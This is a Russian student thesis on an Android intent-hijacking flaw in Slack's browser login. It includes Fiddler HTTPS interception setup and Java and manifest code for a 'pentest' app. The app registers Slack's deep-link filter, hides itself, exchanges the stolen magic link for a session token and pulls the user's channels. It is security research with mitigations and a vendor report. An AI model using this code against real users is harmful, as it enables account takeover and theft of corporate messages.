Оценка уязвимостей мобильных приложений для платформ на базе операционных систем Android

Характеристика операционной системы Android. Особенности структуры AndroidManifest, уязвимость взаимодействия между приложениями Android. Способы распространения вредоносного приложения, инструменты реализации и сбора данных. Настройка Android Studio.

Рубрика Программирование, компьютеры и кибернетика
Вид дипломная работа
Язык русский
Дата добавления 07.08.2018
Размер файла 2,5 M

Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

Бесплатно скачать Fiddler можно на сайте разработчика -- Telerik [17]. Для этого достаточно нажать на кнопку Free download, после чего выбрать из списка цель использования данного продукта.

Так как мы ищем уязвимости в мобильном ПО, то выбираем Security Testing. Далее необходимо указать e-mail и согласиться с условиями лицензионного соглашения. Дальнейшая установка Fiddler не вызывает сложностей.

Сложности возникают тогда, когда речь заходит о просмотре трафика между устройством на Android и внешним сервером. В случае не зашифрованного трафика с использованием HTTP-протокола всё просто -- разрешаем Fiddler внешние соединения, в Android устройстве устанавливаем прокси-сервером адрес компьютера, на котором установлен Fiddler. Настройка для просмотра HTTPS-трафика выглядит иначе.

Fiddler является прокси, а данные, передающиеся с помощью HTTPS шифруются от клиента до сервера-получателя, поэтому по-умолчанию Fiddler не имеет доступа к содержимому HTTPS-запросов.

Чтобы получить такой доступ, Fiddler должен перехватить запросы от клиента, расшифровывать запросы, и потом отправлять дальше. Это возможно, если установить специальный сертификат: Tools > Fiddler Options > HTTPS (вкладка) > выбрать все галочки. Помимо этого, необходимо установить расширение для программы -- CertMaker for iOS and Android. Это необходимо потому, что Fiddler не может по-умолчанию перехватывать и расшифровывать запросы от устройств на базе операционных систем iOS и Android. Расширение можно скачать на сайте разработчика. Расширение является библиотеками для генерации сертификатов безопасности на Android [18].

После установки данного расширения и перезагрузки программы, Fiddler начнет расшифровывать запросы, перехваченные с устройств на Android, но при двух условиях: Fiddler указан как прокси-сервер на устройстве Android и на этом устройстве должен быть установлен сертификат.

Рассмотрим выполнение первого условия: ставим Fiddler прокси-сервером на реальном устройстве. Для этого необходимо перейти в настройки телефона, затем в раздел Wi-Fi и долгим нажатием на сеть, к которой подключено устройство, вызвать диалоговое окно, в котором нажать на “Изменить сеть”. Потребуется заново ввести пароль для этой точки доступа, а также отметить галочкой “Показать дополнительные опции”. После этого станут доступны: список “Настройки прокси-сервера”, в котором нужно выбрать “вручную”, поле “Имя хоста прокси-сервера, в которое необходимо ввести ip-адрес компьютера, на котором установлен Fiddler. Узнать адрес можно либо запустив командную строку на компьютере и введя команду ipconfig, либо в самом Fiddler, наведя курсор мыши на иконку в правом верхнем углу. Далее доступно поле “Прокси-порт”, в которое нужно вводит порт, указанный в настройках Fiddler. По-умолчанию это 8888. После этого, необходимо сохранить настройки сети.

Рис. 3.7 - Настройка прокси-сервера

Первое условие выполнено. Теперь Fiddler сможет перехватывать запросы от устройства и отображать их, но только передающиеся по протоколу HTTP.

Дальнейшая сложность заключается в том, что при использовании протокола HTTPS устройство по-умолчанию проверяет, действительно ли сервер, к которому оно подключилось, является достоверным. Для этого используются сертификаты. Разумеется у настоящего сервера этот сертификат есть, а у Fiddler -- нет. Для решения этой проблемы в таких случаях есть возможность сгенерировать в Fiddler поддельный сертификат, импортировать его в доверенные. Теперь устройство будет верить, что соединение с Fiddler безопасно.

Для этого открываем на устройстве любой браузер и вбиваем в адресную строку “ipv4.fiddler:8888”. Обязательными условиями, в данном случае, являются включенный Fiddler на компьютере и прописанный прокси-сервер на телефоне.

Рис. 3.8 Скачивание сертификата

Далее необходимо нажать на FiddlerRoot certificate, после чего начнется скачивание сертификата.

Для установки сертификата, необходимо перейти в настройки телефона, затем в раздел Безопасность и выбрать подраздел «Установить из памяти». В списке должен быть отражен скачанный сертификат, который и нужно выбрать. После этого задается имя для сертификата и вводится пароль от телефона, если он есть.

После проделанного, Fiddler должен отображать все запросы, исходящие от устройства, в том числе отображать содержимое HTTP-трафика.

3.1.3 Установка ManifestViewer

ManifestViewer является приложением для устройств на операционной системе Android. Оно позволяет просматривать манифесты всех приложений, установленных на устройстве пользователя. Это намного проще и удобнее, чем скачиватьapk-файл приложения, конвертировать в другой формат и «разбивать» код на исходные компоненты. Приложение так же позволяет сохранить манифест в отдельном файле, который потом можно будет открыть на компьютере.

Для установки ManifestViewer достаточно скачать его с официального магазина приложения для Android -- Google Play [19].

Рис. 3.9 ManifestViewer в Google Play

3.2 Сбор данных о приложении Slack

3.2.1 Манифест Slack

C помощью приложения ManifestViewer, рассмотрим манифест Slack, просто выбрав его из предложенного списка. Сохраним его и откроем на компьютере.

Выполним поиск по ключевому слову «BROWSABLE», чтобы найти все Activity, запускаемые из браузера. По результатам поиска находим так называемую DeepLinkActivity, которая отвечает за авторизацию в приложении через браузер.

<activity android:excludeFromRecents="true" android:name="com.Slack.ui.DeepLinkActivity">

<intent-filter>

<data android:scheme="@string/slack_scheme" />

<action android:name="android.intent.action.VIEW" />

<category android:name="android.intent.category.BROWSABLE"/>

<category android:name="android.intent.category.DEFAULT" />

</intent-filter>

</activity>

Флаг android:excludeFromRecents говорит, что данное Activity не будет отображаться в списке последних приложений. Внутри элементаActivity видим <intent-filter>, который, как отмечалось ранее, позволяет указать набор параметров, который определяет что и с чем может делать это Activity. Рассмотрим каждый такой параметр по отдельности:

· <data android:scheme=”slack://”>говорит, что Activity может получать данные со scheme slack:// ;

· <action android:name=”android.intent.action.VIEW”> cтандартный Action, который говорит, что мы хотим что-либо просмотреть;

· <category android:name=”android.intent.category.BROWSABLE”> говорит, что этуActivity может запускать браузер;

· <categoty android:name=”android.intent.category.DEFAULT”>

стандартная категория, которая позволяет указать, что Activity может принимать неявные намерения.

Итого, имеем Activity, которая может принимать неявный Intent из браузера, содержащий данные со scheme “slack://”.

На основе проанализированных данных, делаем вывод, что если в нашем тестовом приложении, в «AndroidManifest.xml» файле, зарегистрировать Activity с тем же набором параметров, то он сможет принимать тот же Intent, который браузер передает приложению Slack. Если мы это сделаем, то при запуске приложения Slack из браузера:

· пользователю будет предложен выбор между нашим тестовым приложением и оригинальным приложением Slack, если оригинальное приложение установлено;

· сразу запустится тестовое приложение и данные авторизации поступят ему.

В первом случае, пользователь может заподозрить неладное и будет иметь возможность прервать передачу данных. Во втором же случае, у пользователя такой возможности не будет и данные авторизации незамедлительно поступят злоумышленнику.

3.2.2 Запросы приложения

Воспользуемся отладочным прокси Fiddler для того, чтобы просмотреть запрос клиента, то есть нашего устройства, при авторизации в приложении Slack из браузера.

Для этого запустим Fiddler и настроим устройство, как было описано ранее, то есть пропишем прокси-сервером наш компьютер, на котором установлен Fiddlerи скачаем сертификат. Теперь необходимо авторизоваться в web-версии приложения Slackв любом браузере устройства и уделить внимание следующим действиям. Мы должны нажать на одну из двух иконок для перехода в официальное приложение и просмотреть на запросы, отобразившиеся в Fiddler.

Рис. 3.10 Запросы в Fiddler

Как мы видим, один из первых запросов хоста Slack.com является HTTP-запрос методом POST. Он использует метод API api/auth.loginMagic и нам так же доступен просмотр тела запроса.

В нижнем правом блоке мы видим, что сервер обработал данные, переданные в запросе и вернул нам ответ, содержащий в себе токен или электронное удостоверение личности пользователя. Зная токен, злоумышленник получает доступ к данным пользователя, ведь в дальнейшем в теле запросов к серверу будет указываться именно токен авторизации. С помощью Fiddler, злоумышленник так же может узнать об используемых методах, например, для чтения истории сообщений и прочим действиям, что дает еще больше возможностей для кражи данных пользователя.

3.3 Принцип работы тестового приложения

Рассмотрим схему работы нашего приложения. В зависимости от того, установлено ли официальное приложение Slack у пользователя возможно 2 варианта развития событий. В случае, если официальное приложение Slack установлено, система обнаружит 2 Activity из разных приложений (Slack и злоумышленник). Пользователю будет предложен выбор между двумя приложениями.

Рис. 3.11 Процесс выбора приложений

Если пользователь выберет приложение Slack, то Intent с данным авторизации до тестового приложения не дойдет. Если пользователь выберет приложение для пентеста или приложение злоумышленника, то Intent с авторизацией будет передан ему.

Рассмотрим как наше приложение должно вести себя в последнем случае. Получать Intent будет специальная операция -- EvilActivity. EvilActivity будет передавать полученный Intent в службу IntentService, чтобы проводить все операции по получению токена в фоновом режиме. Сама операция EvilActivity сразу после этого будет закрыта имитацией нажатия на кнопку «Назад». Соответственно пользователь снова увидит браузер и не поймет что произошло, и, скорее всего, решит повторить попытку. Токен достаточно получить один раз и более нет необходимости досаждать пользователю непонятным закрытием нашей Activity и повторным открытием браузера. Поэтому получив токен один раз, приложение будет сохранять его локально, используя SharedPreferences и передавать Intent официальному приложению Slack. Соответственно вторая попытка пользователя перейти из браузера в приложение Slack будет успешной. Схематично работу приложения можно изобразить следующим образом:

Рис. 3.12 Работа тестового приложения

Во втором случае, если официальное приложение Slack не установлено. Intent, который посылает браузер будет сразу поступать к приложению злоумышленника или в наше приложение для пентеста.

Рис. 3.13 Передача Intent в приложение для пентеста

Злоумышленник так же может реализовать в коде своего приложения возможность отправки собранных данных себе на сервер. В своей работе я демонстрирую возможность перехвата данных, благодаря существующей уязвимости Slack и не реализую отправку этих данных куда-либо.

3.4 Реализация приложения для тестирования на проникновение

Рассмотрим реализацию такого приложения. В манифест-файле зарегистрируем новое Activity -- EvilActivity. Именно это Activity будет получать Intent от браузера, после выбора пользователем приложения из списка. Для этого определим у этого Activity такой же набор параметров intent-filter, как и у приложения Slack:

<intent-filter>

<data android:scheme="@string/slack_scheme" />

<action android:name="android.intent.action.VIEW" />

<category android:name="android.intent.category.BROWSABLE" />

<category android:name="android.intent.category.DEFAULT" />

</intent-filter>

Получив Intent, передаем его в сервис: startService (new Intent(this, EvilIntentService.class).setData(magicLink)), который также необходимо зарегистрировать в манифест-файле. Само EvilActivity сразу же закрываем имитацией нажатия на кнопку «Назад»: super.onBackPressed(). В EvilIntentService первым делом считываем содержимое SharedPreferences и проверяем есть ли там токен:

sharPref = getSharedPreferences(PREFS_KEY, Context.MODE_PRIVATE);

String savedAuthResp = sharPref.getString(AUTH_RESP_KEY, null);

authResponse = new JSONObject(savedAuthResp);

token = authResponse.optString("token", null);

Далее, если токен есть, то формируем новый Intent и передаем его в Slack. Таким образом, пользователь авторизуется в приложении Slack со второго раза:

Intent intent = new Intent(Intent.ACTION_VIEW)

.setPackage("com.Slack")

.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)

.addCategory(Intent.CATEGORY_BROWSABLE)

.addCategory(Intent.CATEGORY_DEFAULT)

.setData(magicLink);

startActivity(intent);

Если токен отсутствует - формируем запрос для получения токена с сервера Slack, используя стороннюю библиотеку OkHttpClient:

RequestBody authFormBody = new FormBody.Builder()

.add("team", magicLink.getHost())

.add("magic_token", magicLink.getPathSegments().get(1))

.build();

authResponse = reqFromServer("https://slack.com/api/auth.loginMagic", authFormBody);

Здесь magicLink -- ссылка, полученная из Intent, который пришел из браузера. Из полученного ответа достаем токен и сохраняем его в SharedPreferences, чтобы при повторной попытке авторизоваться в приложении Slack, Intent был перенаправлен в официальное приложение:

token = authResponse != null ? authResponse.optString("token", null) : null;

saveToSharPref(AUTH_RESP_KEY, authResponse.toString(2));

Теперь, используя полученный токен можем продемонстрировать получение пользовательских данных. Сформируем запрос для получения контактов пользователя.

Тело запроса:

RequestBodyformBody = newFormBody.Builder()

.add("token", token)

.add("mpim_aware", "1")

.build();

Запрос:

Request request = new Request.Builder()

.url(url)

.header("User-agent", "slack/2.26.0.3789 (" + Build.MANUFACTURER + " " + Build.MODEL + "; Android " + Build.VERSION.RELEASE + ")")

.header("UUID", Settings.Secure.getString(getContentResolver(), Settings.Secure.ANDROID_ID))

.header("Connection", "Keep-Alive")

.post(formBody)

.build();

Полученный ответ сохраним в SharedPreferences:

saveToSharPref(CHANNELS_RESP_KEY, channelsResponse.toString(2));

В заключение, считываем полученный ответ из SharedPreferences в MainActivity:

sharPrefs = getSharedPreferences(PREFS_KEY, Context.MODE_PRIVATE);

String channnelsResp = sharPrefs.getString(CHANNELS_RESP_KEY, "");

Отображаем на экране ответ:

mainText.setText(getString(R.string.auth_resp, authResp, channnelsResp));

Были рассмотрены основные составляющие кода приложения для проведения пентеста.

3.5 Результаты работы приложения для пентеста

Рассмотрим, как функционирует написанное нами приложение. При переходе из браузера в Slack, система находит 2 приложения, которые удовлетворяют результатам поиска по фильтру намерений. Поэтому пользователь должен выбрать приложение, которое запустится и получит Intentиз браузера. Здесь стоит отметить, что злоумышленник может замаскировать вредоносное приложение, например, под новую версию официального приложения. В нашем случае приложение помечено как Slack PenTest.

Рис. 3.14 Список предложенных приложений

Спустя некоторое время после выбора приложения для пентеста, пользователь снова увидит браузер, поскольку приложение быстро получит необходимые данные и вернет пользователя обратно имитацией нажатия на кнопку «Назад». На этом этапе приложение уже получило Intent и в фоновом режиме (сервисе) запросило токен у сервера.

Теперь можем убедиться, что все прошло успешно и мы получили токен. Открыв наше приложение из списка приложений устройства, мы видим, что после получения токена в фоновом режиме был выполнен тестовый запрос на сервер для получения списка каналов пользователя.

Рис. 3.15 Перехваченные данные

Таким образом, реализованное приложение демонстрирует, как легко злоумышленник может воспользоваться уязвимостью и похитить данные пользователя. Разработчикам стоит относиться с внимательность к способу и формату передачи важных данных с помощью неявных намерений.

В качестве мер защиты для разработчика можно выделить следующие предложения: использование явных намерений из браузера или полный отказ от передачи таких данных через неявные намерения.

Заключение

Для достижения поставленной цели, в рамках выпускной квалификационной работы, были рассмотрены архитектура операционной системы Android и уязвимость взаимодействия двух приложений. Для демонстрации уязвимости, было выбрано приложение для корпоративного общения - Slack, изучен его исходный код и сетевой трафик от приложения до сервера. На основании полученных данных, было реализовано собственное приложение для тестирования безопасности Slack.

Результаты тестирования говорят об уязвимости приложения Slack перед перехватом данных авторизации сторонним приложением. Уязвимость известна с сентября 2016 года и не устранена в последней сборке приложения на 13 января 2017 года. Принимая во внимание таких клиентов приложения, как Apple, Facebook и Microsoft, уязвимость может принести им большие финансовые потери от кражи коммерческих тайн и прочей ценной информации, так как общение в приложении происходит в так называемых «каналах» - общих окнах для обсуждения. Это значит, что информация в канале доступна всем пользователям, приглашенным в него и, получая доступ к учетной записи хотя бы одного участника, злоумышленник получает доступ ко всей информации канала.

По результатам проведенного тестирования, разработчикам отправлен отчет и сформированы рекомендации для дальнейшей разработки подобных решений.

Согласно данным статистики [20], за 2016 год у ОС Android выявили 523 уязвимости, среди них около 10% относятся к уязвимостям системного характера. Эти уязвимости могут повлечь такой же вектор атаки в реализованных приложениях, как рассмотренный в работе. В других операционных системах также наблюдаются уязвимости, но их на порядок меньше, чем в ОС Android, что делает ее одной из самых уязвимых систем и требует повышенного внимания разработчиков к аспектам безопасности при реализации их мобильных приложений.

Список использованных источников

1. Android [Электронный ресурс] / Википедия - свободная энциклопедия - режим доступа: https://ru.wikipedia.org/wiki/Android, свободный. - Загл. с экрана.

2. Worldwire Smartphone OS Market Share [Электронный ресурс] / Международная исследовательская и консалтинговая компания - режим доступа: http://www.idc.com/promo/smartphone-market-share/os, свободный. - Загл. с экрана.

3. Исследование числа загрузок из AppStore и GooglePlay [Электронный ресурс] / Блог Альберта Хабибрахимова - режим доступа: https://vc.ru/p/app-down-q12016, свободный. - Загл. с экрана.

4. Фрагментация Android бьет все рекорды [Электронный ресурс] / Блог OpenSignal- режим доступа: https://hi-tech.mail.ru/news/android-fragmentation-aug2015/, свободный. - Загл. с экрана.

5. Рейтинг распространенности версий Android [Электронный ресурс] / Блог Иванова Константина- режим доступа: http://mobile-review.com/news/android-7-0-nougat-vpervye-poyavilsya-v-rejtinge-rasprostranennosti-versij-android, свободный. - Загл. с экрана.

6. Архитектура операционной системыAndroid [Электронный ресурс] / Информационный портал Программирование под Android- режим доступа: http://pr0andr0id.blogspot.ru/2014/02/blog-post_21.html, свободный. - Загл. с экрана.

7. AndroidManifest.xml -- что это и зачем он нужен? [Электронный ресурс] / Информационный портал Androidteam - режим доступа: http://androidteam.ru/dev/particles/androidmanifest-xml.html, свободный. - Загл. с экрана.

8. Файл манифеста AndroidManifest.xml [Электронный ресурс] / Сайт Александра Климова режим доступа:http://developer.alexanderklimov.ru/android/theory/AndroidManifestXML.php, свободный. - Загл. с экрана.

9. Основы создания приложений [Электронный ресурс] / Официальный портал для разработчиков под Android- режим доступа: https://developer.android.com/guide/components/fundamentals.html?hl=ru, свободный. - Загл. с экрана.

10. Slack растет безумными темпами [Электронный ресурс] / Информационный портал ain- режим доступа: http://ain.ua/slack-rastet-bezumnymi-tempami-i-podnimaet-200-mln-pri-ocenke-38-mlrd, свободный. - Загл. с экрана.

11. Slack[Электронный ресурс] / Википедия - свободная энциклопедия- режим доступа: https://ru.wikipedia.org/wiki/Slack#cite_note-fc-feb15-3, свободный. - Загл. с экрана.

12. Тестирование на проникновение [Электронный ресурс] Информационный портал Pentestit- режим доступа: https://www.pentestit.ru/audit/penetration-testing, свободный. - Загл. с экрана.

13. Android & iOS: концепции распространения приложений и вопросы безопасности [Электронный ресурс] / Информационный портал Habrahabr - режим доступа https://habrahabr.ru/company/drweb/blog/143971/, свободный. - Загл. с экрана.

14. SDK [Электронный ресурс] / Википедия - свободная энциклопедия- режим доступа: https://ru.wikipedia.org/wiki/SDK, свободный. - Загл. с экрана.

15. Java SE Downloads [Электронный ресурс] / Oracle Technology Network - режим доступа: http://www.oracle.com/technetwork/java/javase/downloads/index.html, свободный. - Загл. с экрана.

16. AndroidStudio [Электронный ресурс] / Официальный портал для разработчиков под Android - режим доступа: https://developer.android.com/studio/index.html, свободный. - Загл. с экрана.

17. Fiddler [Электронный ресурс] / Официальный сайт компании Telerik - режим доступа: http://www.telerik.com/fiddler, свободный. - Загл. с экрана.

18. Расширения для Fiddler [Электронный ресурс] / Официальный сайт компании Telerik - режим доступа: http://www.telerik.com/fiddler/add-ons, свободный. - Загл. с экрана.

19. ManifestViewer [Электронный ресурс] / Магазин приложенийGooglePlay- режим доступа: https://play.google.com/store/apps/details?id=jp.susatthi.ManifestViewer&hl=ru, свободный. - Загл. с экрана.

20. Расширения для Fiddler [Электронный ресурс] / Официальный сайт компании Telerik - режим доступа: http://www.telerik.com/fiddler/add-ons, свободный. - Загл. с экрана.

21. Статистика уязвимостей ОС за 2016 год [Электронный ресурс] / The ultimate security vulnerability datasource - режим доступа: https://www.cvedetails.com/top-50-products.php?year=2016, свободный. - Загл. с экрана.

Размещено на Allbest.ru

...

Подобные документы

  • Архитектура операционной системы Android. Инструменты Android-разработчика. Установка Java Development Kit, Eclipse IDE, Android SDK. Настройка Android Development Tools. Разработка программы для работы с документами и для осуществления оперативной связи.

    курсовая работа [2,0 M], добавлен 19.10.2014

  • Характеристика работы операционной системы Android, используемой для мобильных телефонов. Создание Android проекта в среда разработки Eclipse. Общая структура и функции файла манифест. Компоненты Android приложения. Способы осуществления разметки.

    курсовая работа [1,0 M], добавлен 15.11.2012

  • Разработка клиент-серверного игрового приложения на примере игры в шашки для мобильных устройств на базе операционной системы Android. Обзор мобильных платформ. Экраны приложения и их взаимодействие. Графический интерфейс, руководство пользователя.

    курсовая работа [2,6 M], добавлен 15.06.2013

  • Архитектура операционной системы Android, набор библиотек для обеспечения базового функционала приложений и виртуальная машина Dalvik. Объектно-ориентированный язык программирования Java как инструмент разработки мобильных приложений для ОС Android.

    дипломная работа [1,6 M], добавлен 08.07.2015

  • Архитектура и история создания операционной системы Android. Язык программирования Java. Выбор средства для реализации Android приложения. Программная реализация Android приложения. Проведение тестирования разработанного программного обеспечения.

    курсовая работа [167,8 K], добавлен 18.01.2017

  • Первое устройство, работающее под управлением Android. Приложения под операционную систему Android. Формат установочных пакетов. Разработка приложений на языке Java. Шаблоны основных пакетов и компонентов Android. Сборка приложений, основанная на Gradle.

    курсовая работа [492,0 K], добавлен 08.02.2016

  • Общие характеристики операционной системы Android. Разработка приложения на основе создания менеджера файлов. Получение с помощью приложения доступа к файлам, хранящимся в "облачном хранилище" в сети Интернет. Расчет стоимости программного обеспечения.

    дипломная работа [2,7 M], добавлен 03.04.2015

  • Преимущества операционной системы Android. Проектирование интерфейса приложений. Визуальные редакторы и средства кроссплатформенной разработки. Оптимизация игрового процесса, выбор фреймворка и библиотек. Классификация и характеристика игр по жанрам.

    дипломная работа [2,6 M], добавлен 10.07.2017

  • Современное состояние рынка мобильных приложений. Основные подходы к разработке мобильных приложений. Обоснование выбора целевой группы потребителей приложения. Этапы проектирования и разработки мобильного приложения для операционной системы Android.

    курсовая работа [987,1 K], добавлен 27.06.2019

  • Система помощи водителю на базе регистратора. Установка операционной системы Debian. Настройка системных служб и разработка серверного приложения. Создание локальной Wi-Fi сети. Распознавание знаков и библиотека OpenCV. Потоковое видео в Android.

    дипломная работа [3,9 M], добавлен 13.09.2017

  • Изучение общих понятий операционной системы Android, разработанной для коммуникаторов, планшетных компьютеров, основанной на ядре Linux. Разработка программного обеспечения Android. Преимущества и недостатки мобильной операционной системы Windows Mobile.

    реферат [60,6 K], добавлен 16.04.2012

  • Обзор существующих популярных программ для просмотра погоды на ОС Android. Операционные системы современных смартфонов. Ключевые особенности Android, технология Java. Разработка программной части, выбор языка, описание алгоритма, ее логической структуры.

    курсовая работа [911,5 K], добавлен 16.04.2014

  • Анализ популярных игровых приложений. Жанр – аркады с геймплеем Runner. Получение продукта, ориентированного на людей, использующих мобильные устройства на базе Android, и предназначенный для развлечения пользователей. Визуальная составляющая приложения.

    дипломная работа [742,7 K], добавлен 10.07.2017

  • Google Android как программный стек для мобильных устройств, который включает операционную систему, программное обеспечение промежуточного слоя и пользовательские приложения. Структура платформы и ее основные элементы: ядро, программы, каркас приложений.

    реферат [600,4 K], добавлен 08.01.2015

  • Структура и архитектура платформы Android. Основные достоинства и недостатки операционной системы Android. Среда разработки Eclipse, платформа Java. Подготовка среды разработки. Вкладка "Погода", "Курс валют", "Новости". Просмотр полной новости.

    дипломная работа [1,0 M], добавлен 11.07.2014

  • Средства разработки развивающих и обучающих игр и используемой программы. Среда выполнения и Dalvik. Разработка приложения для платформы Android. Графический интерфейс и обработка касаний экрана. Разработка экранов приложения и их взаимодействия.

    дипломная работа [2,1 M], добавлен 18.01.2016

  • Разработка открытой мобильной платформы Android. Первое устройство, работающее под управлением Android. Магазин приложений "Google Play". Полноценные программы навигации, редакторы офисных документов и синхронизационные утилиты. Рост вирусной активности.

    презентация [58,8 K], добавлен 29.10.2014

  • Общая характеристика системы Android, обзор его аналогов. Необходимые компоненты для начала работы в Android. Настройка конфигураций Ubuntu. Написание script-ов, упрощающих генерацию Linux. Отладка и тестирование программы на плате i.MX53 фирмы freescale.

    курсовая работа [1,1 M], добавлен 12.10.2012

  • Структура Android-приложений. Особенности игрового движка. Алгоритмизация и программирование. Список игровых состояний. Настройка, отладка и тестирование программы. Разработка руководства пользователя. Тестирование инсталляции и отображения элементов.

    дипломная работа [4,5 M], добавлен 19.01.2017

  • Разработка программного обеспечения для платформы Android версии 2.3: информационное приложения для поклонников футбольной команды, с возможностью просмотра событий, статистики и иной информации о команде и ее успехах. Листинг JsonDataManager.java.

    дипломная работа [4,1 M], добавлен 24.04.2013

Работы в архивах красиво оформлены согласно требованиям ВУЗов и содержат рисунки, диаграммы, формулы и т.д.
PPT, PPTX и PDF-файлы представлены только в архивах.
Рекомендуем скачать работу.